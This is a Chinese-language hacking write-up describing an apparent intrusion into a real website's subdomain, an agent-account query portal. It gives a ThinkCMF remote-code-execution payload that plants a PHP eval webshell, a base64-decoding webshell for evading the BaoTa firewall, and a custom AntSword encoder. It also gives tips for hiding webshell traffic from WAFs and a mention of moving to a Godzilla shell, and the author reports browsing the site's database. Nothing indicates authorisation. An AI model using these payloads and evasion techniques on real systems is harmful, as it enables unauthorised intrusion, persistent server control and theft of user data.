0x00 信息收集
由於主站存在雲waf 一測就封 且初步測試不存在能用得上的洞 所以轉戰分站 希望能通過分站獲得有價值的信息

這是一個查詢代理帳號的站 url輸入admin 自動跳轉至后台
0x01 getshell
thinkcmf正好有一個RCE 可以嘗試一下
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test1.php','<?php @eval($_POST[zero])?>')</php>
白屏是個好兆頭 應該是成功了
訪問一下
嘗試蟻劍連接 直接報錯 猜測可能遇到防火牆了
然后再回來看一下shell 手動嘗試一個phpinfo
0x02 繞過寶塔防火牆
寶塔應該對部分函數進行了過濾,所以直接傳遞payload肯定是不行的,所以我們需要對流量進行混淆加密。
嘗試將所有的payload Base64編碼傳輸
既然傳過去的是編碼后的Base64,小馬也應該相應做出改變,只需解密一次傳遞過來的base64即可。
小馬如下:
<?php @eval(base64_decode($_POST[zero]));?>
將phpinfo();base64編碼為 cGhwaW5mbygpOw==
發送
可見 寶塔防火牆沒再攔截 已經成功繞過寶塔防火牆
0x03 改造蟻劍
我們用到的是Base64編碼,但是蟻劍其實是自帶Base64編碼解碼器的 。
嘗試直接使用自帶的Base64編碼器
為什么會這樣呢?
我們嘗試從蟻劍的流量分析
設置代理到burp
攔截流量
我們可以看到 明顯有兩個地方容易被waf識別
一是:User-Agent頭的關鍵字:antSword/v2.1 這相當於直接告訴waf我是誰了, 所以這是第一個要更改的點
二是:蟻劍的流量其實還是有關鍵字的 比如cmd參數后的 eval base64_decode 都是,而且我們的小馬自帶Base64解密,所以用它的默認編碼器不僅過不去waf 即使沒waf也不能正常連接我們的小馬,所以需要自己定義編碼器。
新建PHP編碼器
由於我們只需要將payloadBase64編碼一次即可,所以直接將data['_']Base64 處理賦值即可 隨機參數有沒有無所謂的
編碼器如下
'use strict';
/*
* @param {String} pwd 連接密碼
* @param {Array} data 編碼器處理前的 payload 數組
* @return {Array} data 編碼器處理后的 payload 數組
*/
module.exports = (pwd, data, ext={}) => {
data[pwd] = Buffer.from(data['_']).toString('base64');
delete data['_'];
return data;
}
然后修改UA頭
應用我們的編碼器 解碼器不需要指定 默認即可
建議選擇 增加垃圾數據和Multipart發包
再次測試連接
然后點擊目錄 發現依然存在問題 不能跨目錄 這個問題其實哥斯拉可以解決 上傳哥斯拉馬
這里可能有人會問了 那你直接上傳哥斯拉馬不就行了嗎 實際情況是 get傳參有長度限制 而且有的符號會導致截斷php文件無法上傳完整

網站有挺多 但是很可惜沒有主站 數據庫里只有一堆代理帳號 浪費時間了















